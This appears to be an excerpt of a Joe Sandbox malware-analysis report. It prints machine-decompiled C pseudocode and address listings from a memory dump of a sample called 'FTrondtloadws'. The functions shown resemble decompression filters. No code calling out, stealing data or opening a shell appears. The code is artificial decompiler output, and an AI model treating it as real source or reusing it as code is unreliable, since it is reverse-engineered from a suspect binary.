								if( *(_t450 + 0x4ad8) <= 1) {
									L34:
									 *_t454 = 0;
									 *(_t454 + 4) = _t335;
									 *(_t454 + 2) = 0;
									goto L33;
								}
								__eflags =  *((char*)(_t454 - 0xc));
								if( *((char*)(_t454 - 0xc)) != 0) {
									goto L34;
								}
								_t295 =  *(_t454 - 0xa) & 0x0000ffff;
								_t447 = 7;
								__eflags = _t295 - _t447;
								if(_t295 >= _t447) {
									goto L34;
								}
								_t296 = _t295 + 1;
								 *(_t454 - 0xa) = _t296;
								 *((_t296 & 0x0000ffff) + _t454 - 8) = _t335;
								_t70 = _t450 + 0x4ad8;
								 *_t70 =  *(_t450 + 0x4ad8) - 1;
								__eflags =  *_t70;
								goto L33;
							}
						}
					}
					L3:
					 *((char*)(_t450 + 0x4ad0)) = 1;
					return _t204;
				}
				 *((char*)(_t450 + 0x2c)) = 1;
				_push(_t450 + 0x30);
				_push(_t306);
				_push(_t449);
				_t204 = E00CD5580(__ecx);
				if(_t204 == 0) {
					goto L3;
				}
				goto L2;
			}

0x00cd8228
0x00cd822d
0x00cd8235
0x00cd8238
0x00cd823b
0x00cd8250
0x00cd8253
0x00cd8255
0x00cd8259
0x00cd8271
0x00cd8278
0x00cd827a
0x00cd827d
0x00cd8281
0x00cd8286
0x00cd8288
0x00cd8292
0x00cd8294
0x00cd828a
0x00cd828a
0x00cd828c
0x00cd828c
0x00cd8298
0x00cd829e
0x00cd829e
0x00cd82a0
0x00cd82a4
0x00cd82a6
0x00000000
0x00000000
0x00cd82a8
0x00cd82aa
0x00cd8841
0x00000000
0x00cd8841
0x00cd82b0
0x00cd82be
0x00cd82be
0x00cd82c0
0x00cd82cf
0x00cd82cf
0x00cd82d5
0x00cd82d7
0x00cd82db
0x00cd82e1
0x00cd883a
0x00cd883a
0x00000000
0x00cd883a
0x00000000
0x00cd82e1
0x00cd82c2
0x00cd82c9
0x00000000
0x00000000
0x00000000
0x00cd82c9
0x00cd82b2
0x00cd82b5
0x00cd82b8
0x00000000
0x00000000
0x00000000
0x00cd82e7
0x00cd82e7
0x00cd82f0
0x00cd82f6
0x00cd82f8
0x00cd82fb
0x00cd8304
0x00cd8305
0x00cd830c
0x00cd8310
0x00cd8312
0x00cd8319
0x00cd8319
0x00cd831e
0x00cd831e
0x00cd8320
0x00cd832b
0x00cd832e
0x00cd8332
0x00cd8338
0x00cd833f
0x00cd8345
0x00cd834b
0x00cd834f
0x00cd837e
0x00cd837f
0x00cd8380
0x00cd8384
0x00cd8386
0x00cd83a1
0x00cd83a4
0x00cd83ad
0x00cd83b1
0x00cd83b4
0x00cd83b8
0x00cd83bd
0x00cd83ca
0x00cd83cc
0x00cd83cf
0x00cd83d1
0x00cd83d1
0x00cd83d3
0x00000000
0x00cd83d3
0x00cd838b
0x00cd838e
0x00cd838e
0x00cd8390
0x00000000
0x00000000
0x00cd8392
0x00cd8393
0x00cd8396
0x00cd8399
0x00000000
0x00000000
0x00000000
0x00cd839b
0x00cd839d
0x00000000
0x00cd8351
0x00cd8353
0x00cd8356
0x00cd8362
0x00cd836a
0x00cd836c
0x00cd836f
0x00cd8372
0x00cd83db
0x00cd83db
0x00cd83e3
0x00cd83e5
0x00cd8434
0x00cd843a
0x00cd86ba
0x00cd86bc
0x00cd870b
0x00cd8711
0x00cd8722
0x00cd8728
0x00cd872b
0x00cd8732
0x00cd8738
0x00cd873e
0x00cd8745
0x00cd8774
0x00cd8775
0x00cd8776
0x00cd877a
0x00cd877c
0x00cd879a
0x00cd879d
0x00cd87a6
0x00cd87aa
0x00cd87ad
0x00cd87b1
0x00cd87b6
0x00cd87c9
0x00cd87cb
0x00cd87d1
0x00cd87d3
0x00cd87d3
0x00cd87d5
0x00cd87dd
0x00cd87dd
0x00cd87e0
0x00cd87e3
0x00cd87f5
0x00cd87fa
0x00cd87fd
0x00cd8801
0x00cd8803
0x00cd8807
0x00cd8812
0x00cd881a
0x00cd881c
0x00cd8823
0x00cd8827
0x00cd8828
0x00cd8828
0x00cd882a
0x00cd882a
0x00cd882d
0x00cd87e5
0x00cd87e5
0x00cd87e5
0x00cd8831
0x00cd8414
0x00cd8414
0x00cd8418
0x00cd841c
0x00000000
0x00cd841c
0x00cd8784
0x00cd8787
0x00cd8787
0x00cd8789
0x00000000
0x00000000
0x00cd878b
0x00cd878c
0x00cd878f
0x00cd8792
0x00000000
0x00000000
0x00000000
0x00cd8794
0x00cd8796
0x00000000
0x00cd8796
0x00cd8749
0x00cd874c
0x00cd8758
0x00cd8760
0x00cd8762
0x00cd8765
0x00cd8768
0x00000000
0x00cd8768
0x00cd8713
0x00000000
0x00cd8713
0x00cd86c6
0x00cd86c8
0x00cd86d2
0x00cd86da
0x00cd86dd
0x00cd86e1
0x00cd86ea
0x00cd86ed
0x00cd86f8
0x00cd8700
0x00cd8703
0x00000000
0x00cd8703
0x00cd8440
0x00cd8446
0x00cd8449
0x00cd84a9
0x00cd84b1
0x00cd84b5
0x00cd84b7
0x00cd8452
0x00cd8454
0x00cd8455
0x00cd8457
0x00cd845e
0x00cd8464
0x00cd846a
0x00cd8471
0x00cd84e6
0x00cd84e7
0x00cd84e8
0x00cd84ea
0x00cd8506
0x00cd8509
0x00cd8510
0x00cd8514
0x00cd8517
0x00cd8523
0x00cd852f
0x00cd8531
0x00cd8537
0x00cd8539
0x00cd8539
0x00cd853b
0x00cd8543
0x00cd8543
0x00cd8546
0x00cd8549
0x00cd855d
0x00cd8562
0x00cd8563
0x00cd8567
0x00cd8569
0x00cd856b
0x00cd8683
0x00cd8683
0x00cd8687
0x00cd8687
0x00cd868b
0x00cd8691
0x00cd8693
0x00cd8694
0x00cd869a
0x00cd869c
0x00cd869d
0x00cd86a3
0x00cd86a5
0x00cd86a5
0x00cd86a5
0x00cd86a3
0x00cd869a
0x00cd86a6
0x00cd86a9
0x00cd86ad
0x00cd86b1
0x00000000
0x00cd86b1
0x00cd8571
0x00cd8574
0x00cd865d
0x00cd8664
0x00cd866e
0x00cd8672
0x00cd8679
0x00cd867d
0x00cd867e
0x00cd867e
0x00cd8680
0x00000000
0x00cd8680
0x00cd857a
0x00cd85ae
0x00cd857c
0x00cd857e
0x00cd8585
0x00cd8595
0x00cd8599
0x00cd85a0
0x00cd85a4
0x00cd85a7
0x00cd85a7
0x00cd85b1
0x00cd85b8
0x00cd85be
0x00cd85c4
0x00cd85cb
0x00cd85f7
0x00cd85f8
0x00cd85f9
0x00cd85fb
0x00cd8617
0x00cd861a
0x00cd8621
0x00cd8625
0x00cd8628
0x00cd8634
0x00cd8640
0x00cd8642
0x00cd8648
0x00cd864a
0x00cd864a
0x00cd864c
0x00000000
0x00cd864c
0x00cd8603
0x00cd8606
0x00cd8606
0x00cd8608
0x00000000
0x00000000
0x00cd860a
0x00cd860b
0x00cd860e
0x00cd8611
0x00000000
0x00000000
0x00000000
0x00cd8613
0x00cd8615
0x00000000
0x00cd85cd
0x00cd85cf
0x00cd85d2
0x00cd85dc
0x00cd85e4
0x00cd85e8
0x00cd85eb
0x00cd8654
0x00cd8657
0x00000000
0x00cd8657
0x00cd85cb
0x00cd854b
0x00000000
0x00cd854b
0x00cd84f2
0x00cd84f5
0x00cd84f5
0x00cd84f7
0x00000000
0x00000000
0x00cd84f9
0x00cd84fa
0x00cd84fd
0x00cd8500
0x00000000
0x00000000
0x00000000
0x00cd8502
0x00cd8504
0x00000000
0x00cd8504
0x00cd8475
0x00cd8478
0x00cd8482
0x00cd848a
0x00cd848e
0x00cd8491
0x00000000
0x00cd8491
0x00cd84bb
0x00cd84c2
0x00cd84ca
0x00cd84ce
0x00cd84d5
0x00cd84d9
0x00cd84dc
0x00000000
0x00cd84dc
0x00cd844e
0x00000000
0x00cd844e
0x00cd83e7
0x00cd83ee
0x00cd8425
0x00cd8425
0x00cd842b
0x00cd842e
0x00000000
0x00cd842e
0x00cd83f0
0x00cd83f4
0x00000000
0x00000000
0x00cd83f6
0x00cd83fc
0x00cd83fd
0x00cd8400
0x00000000
0x00000000
0x00cd8402
0x00cd8403
0x00cd840a
0x00cd840e
0x00cd840e
0x00cd840e
0x00000000
0x00cd840e
0x00cd834f
0x00cd829e
0x00cd825b
0x00cd825b
0x00000000
0x00cd825b
0x00cd8240
0x00cd8244
0x00cd8245
0x00cd8246
0x00cd8247
0x00cd824e
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975e96328b6afffd8335d9652bc4604edd885f62a5d1f3244536b5230266b58d
Instruction ID: 7fb0c53184bd40de73e0c041d694fb8be943847166a0b2b13172aa51c08900cd
Opcode Fuzzy Hash: 975e96328b6afffd8335d9652bc4604edd885f62a5d1f3244536b5230266b58d
Instruction Fuzzy Hash: FA12C4716047068FC728CF28C491B79B7E1FB54304F14892EEA9AC7780EB78E999DB05

Uniqueness

Uniqueness Score: -1.00%

Function 00CCD813 Relevance: .5, Instructions: 454
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00CCD813(signed char** __ecx) {
				void* __edi;
				void* _t188;
				signed int _t189;
				char _t192;
				void* _t197;
				void* _t198;
				signed int _t201;
				signed char _t202;
				void* _t212;
				signed int _t213;
				signed int _t215;
				signed int _t216;
				signed char* _t217;
				void* _t218;
				intOrPtr _t222;
				signed char* _t225;
				signed char _t228;
				void* _t237;
				void* _t238;
				signed int _t239;
				signed int _t242;
				signed char* _t245;
				signed int _t277;
				void* _t278;
				void* _t279;
				void* _t280;
				void* _t281;
				void* _t282;
				signed int _t286;
				intOrPtr _t287;
				void* _t288;
				signed char* _t289;
				void* _t290;
				signed int _t291;
				signed int _t292;
				char _t293;
				intOrPtr* _t295;
				signed char _t296;
				signed int _t301;
				signed int _t302;
				intOrPtr _t304;
				intOrPtr* _t306;
				signed char* _t307;
				signed int _t308;
				signed int _t314;
				signed int _t316;
				signed int _t318;
				signed int _t319;
				signed char _t320;
				intOrPtr _t321;
				intOrPtr _t322;
				unsigned int _t325;
				signed int _t326;
				signed int _t327;
				signed int _t328;
				void* _t331;
				signed char _t332;
				signed char* _t333;
				signed char _t335;
				signed int _t336;
				signed int _t337;
				void* _t338;
				void* _t339;
				void* _t340;
				signed int _t343;
				signed int _t344;
				signed char* _t345;
				signed int _t346;
				signed int _t348;
				intOrPtr _t350;
				signed int _t351;
				signed int _t354;
				void* _t358;
				signed int _t359;
				signed char* _t360;
				signed int _t361;
				void* _t362;
				void* _t363;

				_t349 = __ecx;
				_t188 =  *((intOrPtr*)(_t363 + 4)) - 1;
				if(_t188 == 0) {
					L84:
					_t189 =  *(_t349 + 0x14);
					_t295 =  *_t349;
					_t350 =  *((intOrPtr*)(_t349 + 0x1c));
					_t288 = _t189 - 4;
					if(_t288 > 0x3fffc) {
						L96:
						return 0;
					}
					_t338 = 0;
					_t192 = (_t189 & 0xffffff00 |  *((intOrPtr*)(_t363 + 0x64)) == 0x00000002) + 0xe8;
					 *((char*)(_t363 + 0x13)) = _t192;
					if(_t288 == 0) {
						L95:
						return 1;
					} else {
						goto L86;
					}
					do {
						L86:
						_t321 =  *_t295;
						_t295 = _t295 + 1;
						_t339 = _t338 + 1;
						_t350 = _t350 + 1;
						if(_t321 == 0xe8 || _t321 == _t192) {
							_t322 =  *_t295;
							if(_t322 >= 0) {
								if(_t322 - 0x1000000 < 0) {
									 *_t295 = _t322 - _t350;
								}
							} else {
								if(_t350 + _t322 >= 0) {
									 *_t295 = _t322 + 0x1000000;
								}
							}
							_t192 =  *((intOrPtr*)(_t363 + 0x13));
							_t295 = _t295 + 4;
							_t338 = _t339 + 4;
							_t350 = _t350 + 4;
						}
					} while (_t338 < _t288);
					goto L95;
				}
				_t197 = _t188 - 1;
				if(_t197 == 0) {
					goto L84;
				}
				_t198 = _t197 - 1;
				if(_t198 == 0) {
					_t289 =  *__ecx;
					_t340 = __ecx[5] - 0x15;
					if(_t340 > 0x3ffeb) {
						goto L96;
					}
					_t325 = __ecx[7] >> 4;
					 *(_t363 + 0x28) = _t325;
					if(_t340 == 0) {
						goto L95;
					}
					_t343 = (_t340 - 1 >> 4) + 1;
					 *(_t363 + 0x38) = _t343;
					do {
						_t201 =  *_t289 & 0x1f;
						if(_t201 < 0x10) {
							goto L82;
						}
						_t202 =  *((intOrPtr*)(_t201 + 0xd00078));
						if(_t202 == 0) {
							goto L82;
						}
						_t344 =  *(_t363 + 0x28);
						_t296 = 0;
						_t326 = _t202 & 0x000000ff;
						 *(_t363 + 0x30) = 0;
						 *(_t363 + 0x40) = _t326;
						_t358 = 0x12;
						do {
							if((_t326 & 1) != 0) {
								_t168 = _t358 + 0x18; // 0x2a
								if(E00CCDD72(_t289, _t168, 4) == 5) {
									E00CCDDBD(_t289, E00CCDD72(_t289, _t358, 0x14) - _t344 & 0x000fffff, _t358, 0x14);
								}
								_t326 =  *(_t363 + 0x3c);
								_t296 =  *(_t363 + 0x2c);
							}
							_t296 = _t296 + 1;
							_t358 = _t358 + 0x29;
							 *(_t363 + 0x2c) = _t296;
						} while (_t358 <= 0x64);
						_t343 =  *(_t363 + 0x38);
						_t325 =  *(_t363 + 0x28);
						L82:
						_t289 =  &(_t289[0x10]);
						_t325 = _t325 + 1;
						_t343 = _t343 - 1;
						 *(_t363 + 0x28) = _t325;
						 *(_t363 + 0x38) = _t343;
					} while (_t343 != 0);
					goto L95;
				}
				_t212 = _t198 - 1;
				if(_t212 == 0) {
					_t213 = __ecx[1];
					_t345 = __ecx[5];
					 *(_t363 + 0x18) = _t213;
					_t290 = _t213 - 3;
					if(_t345 - 3 > 0x1fffd || _t290 > _t345) {
						goto L96;
					} else {
						_t215 = __ecx[2];
						 *(_t363 + 0x20) = _t215;
						if(_t215 > 2) {
							goto L96;
						}
						_t216 =  *__ecx;
						 *(_t363 + 0x14) = _t216;
						_t359 = 3;
						_t351 =  &(_t345[_t216]);
						_t217 = 0;
						 *(_t363 + 0x24) = _t351;
						_t301 = _t351 - _t290;
						 *(_t363 + 0x30) = 0;
						 *(_t363 + 0x28) = _t301;
						do {
							_t291 = 0;
							if(_t217 >= _t345) {
								goto L65;
							}
							_t327 =  *(_t363 + 0x18);
							_t360 =  &(_t217[_t301]);
							_t302 =  *(_t363 + 0x14);
							_t225 =  *(_t363 + 0x18) + 0xfffffffd - _t351;
							 *(_t363 + 0x34) = _t225;
							do {
								if( &(_t225[_t360]) >= _t327) {
									 *(_t363 + 0x3c) =  *_t360 & 0x000000ff;
									 *(_t363 + 0x3c) =  *(_t360 - 3) & 0x000000ff;
									 *(_t363 + 0x44) = E00CE73A7(_t327, ( *_t360 & 0x000000ff) - ( *(_t360 - 3) & 0x000000ff));
									 *(_t363 + 0x38) = E00CE73A7(_t327, ( *_t360 & 0x000000ff) - ( *(_t360 - 3) & 0x000000ff) + _t291 -  *(_t363 + 0x40));
									_t237 = E00CE73A7(_t327, ( *_t360 & 0x000000ff) - ( *(_t360 - 3) & 0x000000ff) + _t291 -  *(_t363 + 0x40));
									_t304 =  *((intOrPtr*)(_t363 + 0x4c));
									_t363 = _t363 + 0xc;
									_t332 =  *(_t363 + 0x2c);
									if(_t304 > _t332 || _t304 > _t237) {
										_t302 =  *(_t363 + 0x14);
										_t327 =  *(_t363 + 0x18);
										_t291 =  *(_t363 + 0x3c);
										if(_t332 > _t237) {
											_t291 =  *(_t363 + 0x38);
										}
									} else {
										_t302 =  *(_t363 + 0x14);
										_t327 =  *(_t363 + 0x18);
									}
								}
								_t228 = _t291 -  *_t302;
								_t302 = _t302 + 1;
								(_t360 - 3)[_t327] = _t228;
								_t360 =  &(_t360[3]);
								_t291 = _t228 & 0x000000ff;
								 *(_t363 + 0x14) = _t302;
								_t225 =  *(_t363 + 0x34);
							} while ( &(( *(_t363 + 0x34))[_t360]) < _t345);
							_t217 =  *(_t363 + 0x30);
							_t301 =  *(_t363 + 0x28);
							_t351 =  *(_t363 + 0x24);
							_t359 = 3;
							L65:
							_t217 =  &(_t217[1]);
							 *(_t363 + 0x30) = _t217;
						} while (_t217 < _t359);
						_t328 =  *(_t363 + 0x20);
						_t218 = _t345 - 2;
						if(_t328 >= _t218) {
							goto L95;
						}
						_t306 = _t328 + 2 + _t351;
						_t331 = (_t218 - _t328 - 1) / _t359 + 1;
						do {
							_t222 =  *((intOrPtr*)(_t306 - 1));
							 *((intOrPtr*)(_t306 - 2)) =  *((intOrPtr*)(_t306 - 2)) + _t222;
							 *_t306 =  *_t306 + _t222;
							_t306 = _t306 + _t359;
							_t331 = _t331 - 1;
						} while (_t331 != 0);
						goto L95;
					}
				}
				_t238 = _t212 - 1;
				if(_t238 == 0) {
					_t307 = __ecx[5];
					_t333 =  *__ecx;
					_t239 = __ecx[1];
					 *(_t363 + 0x30) = _t333;
					 *(_t363 + 0x34) = _t307;
					 *(_t363 + 0x38) = _t239;
					 *(_t363 + 0x40) =  &(_t333[_t307]);
					if(_t307 > 0x20000 || _t239 > 0x80 || _t239 == 0) {
						goto L96;
					} else {
						_t346 = 0;
						 *(_t363 + 0x3c) = 0;
						if(_t239 == 0) {
							goto L95;
						} else {
							goto L20;
						}
						do {
							L20:
							 *(_t363 + 0x24) =  *(_t363 + 0x24) & 0x00000000;
							 *(_t363 + 0x20) =  *(_t363 + 0x20) & 0x00000000;
							_t354 = 0;
							 *(_t363 + 0x1c) =  *(_t363 + 0x1c) & 0x00000000;
							_t292 = 0;
							 *(_t363 + 0x18) =  *(_t363 + 0x18) & 0x00000000;
							_t361 = 0;
							 *(_t363 + 0x20) = 0;
							E00CE1000(_t346, _t363 + 0x44, 0, 0x1c);
							 *(_t363 + 0x38) =  *(_t363 + 0x38) & 0;
							_t363 = _t363 + 0xc;
							 *(_t363 + 0x28) = _t346;
							if(_t346 >=  *(_t363 + 0x34)) {
								_t242 =  *(_t363 + 0x38);
								goto L49;
							} else {
								goto L21;
							}
							do {
								L21:
								_t308 =  *(_t363 + 0x20);
								 *(_t363 + 0x18) = _t308 -  *(_t363 + 0x1c);
								_t245 =  *(_t363 + 0x30);
								 *(_t363 + 0x1c) = _t308;
								_t335 =  *_t245;
								 *(_t363 + 0x30) =  &(_t245[1]);
								_t314 = ( *(_t363 + 0x18) * _t354 + _t361 *  *(_t363 + 0x18) + _t292 *  *(_t363 + 0x20) +  *(_t363 + 0x24) * 0x00000008 >> 0x00000003 & 0x000000ff) - (_t335 & 0x000000ff);
								 *( *(_t363 + 0x28) +  *(_t363 + 0x40)) = _t314;
								_t357 = _t335 << 3;
								 *(_t363 + 0x24) = _t314 -  *(_t363 + 0x24);
								 *(_t363 + 0x28) = _t314;
								 *((intOrPtr*)(_t363 + 0x48)) =  *((intOrPtr*)(_t363 + 0x48)) + E00CE73A7(_t335, _t335 << 3);
								 *((intOrPtr*)(_t363 + 0x50)) =  *((intOrPtr*)(_t363 + 0x50)) + E00CE73A7(_t335, (_t335 << 3) -  *(_t363 + 0x20));
								 *((intOrPtr*)(_t363 + 0x58)) =  *((intOrPtr*)(_t363 + 0x58)) + E00CE73A7(_t335,  *(_t363 + 0x24) + (_t335 << 3));
								 *((intOrPtr*)(_t363 + 0x60)) =  *((intOrPtr*)(_t363 + 0x60)) + E00CE73A7(_t335, (_t335 << 3) -  *(_t363 + 0x24));
								 *((intOrPtr*)(_t363 + 0x68)) =  *((intOrPtr*)(_t363 + 0x68)) + E00CE73A7(_t335,  *(_t363 + 0x28) + (_t335 << 3));
								 *((intOrPtr*)(_t363 + 0x70)) =  *((intOrPtr*)(_t363 + 0x70)) + E00CE73A7(_t335, _t357 -  *(_t363 + 0x18));
								 *((intOrPtr*)(_t363 + 0x78)) =  *((intOrPtr*)(_t363 + 0x78)) + E00CE73A7(_t335, _t357 +  *(_t363 + 0x18));
								_t363 = _t363 + 0x1c;
								if(( *(_t363 + 0x2c) & 0x0000001f) != 0) {
									_t354 =  *(_t363 + 0x14);
								} else {
									_t336 =  *(_t363 + 0x44);
									_t277 = 0;
									 *(_t363 + 0x44) =  *(_t363 + 0x44) & 0;
									_t318 = 1;
									do {
										if( *(_t363 + 0x44 + _t318 * 4) < _t336) {
											_t336 =  *(_t363 + 0x44 + _t318 * 4);
											_t277 = _t318;
										}
										 *(_t363 + 0x44 + _t318 * 4) =  *(_t363 + 0x44 + _t318 * 4) & 0x00000000;
										_t318 = _t318 + 1;
									} while (_t318 < 7);
									_t354 =  *(_t363 + 0x14);
									_t278 = _t277 - 1;
									if(_t278 == 0) {
										if(_t292 >= 0xfffffff0) {
											_t292 = _t292 - 1;
										}
										goto L46;
									}
									_t279 = _t278 - 1;
									if(_t279 == 0) {
										if(_t292 < 0x10) {
											_t292 = _t292 + 1;
										}
										goto L46;
									}
									_t280 = _t279 - 1;
									if(_t280 == 0) {
										if(_t361 >= 0xfffffff0) {
											_t361 = _t361 - 1;
										}
										goto L46;
									}
									_t281 = _t280 - 1;
									if(_t281 == 0) {
										if(_t361 < 0x10) {
											_t361 = _t361 + 1;
										}
										goto L46;
									}
									_t282 = _t281 - 1;
									if(_t282 == 0) {
										if(_t354 < 0xfffffff0) {
											goto L46;
										}
										_t354 = _t354 - 1;
										L34:
										 *(_t363 + 0x14) = _t354;
										goto L46;
									}
									if(_t282 != 1 || _t354 >= 0x10) {
										goto L46;
									} else {
										_t354 = _t354 + 1;
										goto L34;
									}
								}
								L46:
								_t242 =  *(_t363 + 0x38);
								_t316 =  *(_t363 + 0x28) + _t242;
								 *(_t363 + 0x2c) =  *(_t363 + 0x2c) + 1;
								 *(_t363 + 0x28) = _t316;
							} while (_t316 <  *(_t363 + 0x34));
							_t346 =  *(_t363 + 0x3c);
							L49:
							_t346 = _t346 + 1;
							 *(_t363 + 0x3c) = _t346;
						} while (_t346 < _t242);
						goto L95;
					}
				}
				if(_t238 != 1) {
					goto L95;
				}
				_t319 = __ecx[5];
				_t362 = 0;
				_t337 = __ecx[1];
				 *(_t363 + 0x28) = _t319;
				 *(_t363 + 0x2c) = _t319 + _t319;
				if(_t319 > 0x20000 || _t337 > 0x400 || _t337 == 0) {
					goto L96;
				} else {
					_t286 = _t337;
					 *(_t363 + 0x24) = _t337;
					do {
						_t293 = 0;
						_t348 = _t319;
						if(_t319 <  *(_t363 + 0x2c)) {
							_t320 =  *(_t363 + 0x2c);
							goto L12;
							L12:
							_t287 =  *_t349;
							_t293 = _t293 -  *((intOrPtr*)(_t287 + _t362));
							_t362 = _t362 + 1;
							 *((char*)(_t287 + _t348)) = _t293;
							_t348 = _t348 + _t337;
							if(_t348 < _t320) {
								goto L12;
							} else {
								_t319 =  *(_t363 + 0x28);
								_t286 =  *(_t363 + 0x24);
								goto L14;
							}
						}
						L14:
						_t319 = _t319 + 1;
						_t286 = _t286 - 1;
						 *(_t363 + 0x28) = _t319;
						 *(_t363 + 0x24) = _t286;
					} while (_t286 != 0);
					goto L95;
				}
			}

0x00ccd81d
0x00ccd820
0x00ccd823
0x00ccdcf7
0x00ccdcf7
0x00ccdcfa
0x00ccdcfc
0x00ccdcff
0x00ccdd08
0x00ccdd66
0x00000000
0x00ccdd66
0x00ccdd12
0x00ccdd14
0x00ccdd16
0x00ccdd1c
0x00ccdd62
0x00000000
0x00000000
0x00000000
0x00000000
0x00ccdd1e
0x00ccdd1e
0x00ccdd1e
0x00ccdd20
0x00ccdd21
0x00ccdd22
0x00ccdd26
0x00ccdd2c
0x00ccdd30
0x00ccdd4b
0x00ccdd4f
0x00ccdd4f
0x00ccdd32
0x00ccdd37
0x00ccdd3f
0x00ccdd3f
0x00ccdd37
0x00ccdd51
0x00ccdd55
0x00ccdd58
0x00ccdd5b
0x00ccdd5b
0x00ccdd5e
0x00000000
0x00ccdd1e
0x00ccd829
0x00ccd82c
0x00000000
0x00000000
0x00ccd832
0x00ccd835
0x00ccdc34
0x00ccdc36
0x00ccdc3f
0x00000000
0x00000000
0x00ccdc48
0x00ccdc4b
0x00ccdc51
0x00000000
0x00000000
0x00ccdc5b
0x00ccdc5c
0x00ccdc60
0x00ccdc63
0x00ccdc69
0x00000000
0x00000000
0x00ccdc6b
0x00ccdc73
0x00000000
0x00000000
0x00ccdc75
0x00ccdc79
0x00ccdc7b
0x00ccdc80
0x00ccdc84
0x00ccdc88
0x00ccdc89
0x00ccdc90
0x00ccdc94
0x00ccdca3
0x00ccdcbe
0x00ccdcbe
0x00ccdcc3
0x00ccdcc7
0x00ccdcc7
0x00ccdccb
0x00ccdccc
0x00ccdccf
0x00ccdcd3
0x00ccdcd8
0x00ccdcdc
0x00ccdce0
0x00ccdce0
0x00ccdce3
0x00ccdce4
0x00ccdce7
0x00ccdceb
0x00ccdceb
0x00000000
0x00ccdcf5
0x00ccd83b
0x00ccd83e
0x00ccdadb
0x00ccdade
0x00ccdae1
0x00ccdae5
0x00ccdaf0
0x00000000
0x00ccdafe
0x00ccdafe
0x00ccdb01
0x00ccdb08
0x00000000
0x00000000
0x00ccdb0e
0x00ccdb10
0x00ccdb16
0x00ccdb17
0x00ccdb1a
0x00ccdb1e
0x00ccdb22
0x00ccdb24
0x00ccdb28
0x00ccdb2c
0x00ccdb2c
0x00ccdb30
0x00000000
0x00000000
0x00ccdb36
0x00ccdb3a
0x00ccdb41
0x00ccdb48
0x00ccdb4a
0x00ccdb4e
0x00ccdb52
0x00ccdb5c
0x00ccdb63
0x00ccdb6f
0x00ccdb84
0x00ccdb88
0x00ccdb8d
0x00ccdb91
0x00ccdb94
0x00ccdb9a
0x00ccdbaa
0x00ccdbb0
0x00ccdbb4
0x00ccdbb8
0x00ccdbba
0x00ccdbba
0x00ccdba0
0x00ccdba0
0x00ccdba4
0x00ccdba4
0x00ccdb9a
0x00ccdbc0
0x00ccdbc2
0x00ccdbc3
0x00ccdbc7
0x00ccdbca
0x00ccdbd3
0x00ccdbd9
0x00ccdbd9
0x00ccdbe3
0x00ccdbe7
0x00ccdbeb
0x00ccdbf1
0x00ccdbf2
0x00ccdbf2
0x00ccdbf3
0x00ccdbf7
0x00ccdbff
0x00ccdc03
0x00ccdc08
0x00000000
0x00000000
0x00ccdc13
0x00ccdc1a
0x00ccdc1d
0x00ccdc1d
0x00ccdc20
0x00ccdc23
0x00ccdc25
0x00ccdc27
0x00ccdc27
0x00000000
0x00ccdc2c
0x00ccdaf0
0x00ccd844
0x00ccd847
0x00ccd8c3
0x00ccd8c6
0x00ccd8c8
0x00ccd8cb
0x00ccd8d1
0x00ccd8d5
0x00ccd8d9
0x00ccd8e3
0x00000000
0x00ccd8fc
0x00ccd8fc
0x00ccd8fe
0x00ccd904
0x00000000
0x00000000
0x00000000
0x00000000
0x00ccd90a
0x00ccd90a
0x00ccd90a
0x00ccd913
0x00ccd918
0x00ccd91a
0x00ccd91f
0x00ccd921
0x00ccd926
0x00ccd92c
0x00ccd930
0x00ccd935
0x00ccd939
0x00ccd93c
0x00ccd944
0x00ccdac5
0x00000000
0x00000000
0x00000000
0x00000000
0x00ccd94a
0x00ccd94a
0x00ccd94a
0x00ccd958
0x00ccd95c
0x00ccd960
0x00ccd96d
0x00ccd970
0x00ccd996
0x00ccd99c
0x00ccd9ab
0x00ccd9af
0x00ccd9b3
0x00ccd9bc
0x00ccd9cc
0x00ccd9dc
0x00ccd9ec
0x00ccd9fc
0x00ccda0a
0x00ccda17
0x00ccda1b
0x00ccda23
0x00ccda9f
0x00ccda25
0x00ccda25
0x00ccda29
0x00ccda2b
0x00ccda31
0x00ccda32
0x00ccda36
0x00ccda38
0x00ccda3c
0x00ccda3c
0x00ccda3e
0x00ccda43
0x00ccda44
0x00ccda49
0x00ccda4d
0x00ccda50
0x00ccda9a
0x00ccda9c
0x00ccda9c
0x00000000
0x00ccda9a
0x00ccda52
0x00ccda55
0x00ccda92
0x00ccda94
0x00ccda94
0x00000000
0x00ccda92
0x00ccda57
0x00ccda5a
0x00ccda8a
0x00ccda8c
0x00ccda8c
0x00000000
0x00ccda8a
0x00ccda5c
0x00ccda5f
0x00ccda82
0x00ccda84
0x00ccda84
0x00000000
0x00ccda82
0x00ccda61
0x00ccda64
0x00ccda7a
0x00000000
0x00000000
0x00ccda7c
0x00ccda71
0x00ccda71
0x00000000
0x00ccda71
0x00ccda69
0x00000000
0x00ccda70
0x00ccda70
0x00000000
0x00ccda70
0x00ccda69
0x00ccdaa3
0x00ccdaa7
0x00ccdaab
0x00ccdaad
0x00ccdab1
0x00ccdab5
0x00ccdabf
0x00ccdac9
0x00ccdac9
0x00ccdaca
0x00ccdace
0x00000000
0x00ccdad6
0x00ccd8e3
0x00ccd84c
0x00000000
0x00000000
0x00ccd852
0x00ccd855
0x00ccd857
0x00ccd85a
0x00ccd861
0x00ccd86b
0x00000000
0x00ccd885
0x00ccd885
0x00ccd887
0x00ccd88b
0x00ccd88b
0x00ccd88d
0x00ccd893
0x00ccd895
0x00ccd895
0x00ccd899
0x00ccd899
0x00ccd89b
0x00ccd89e
0x00ccd89f
0x00ccd8a2
0x00ccd8a6
0x00000000
0x00ccd8a8
0x00ccd8a8
0x00ccd8ac
0x00000000
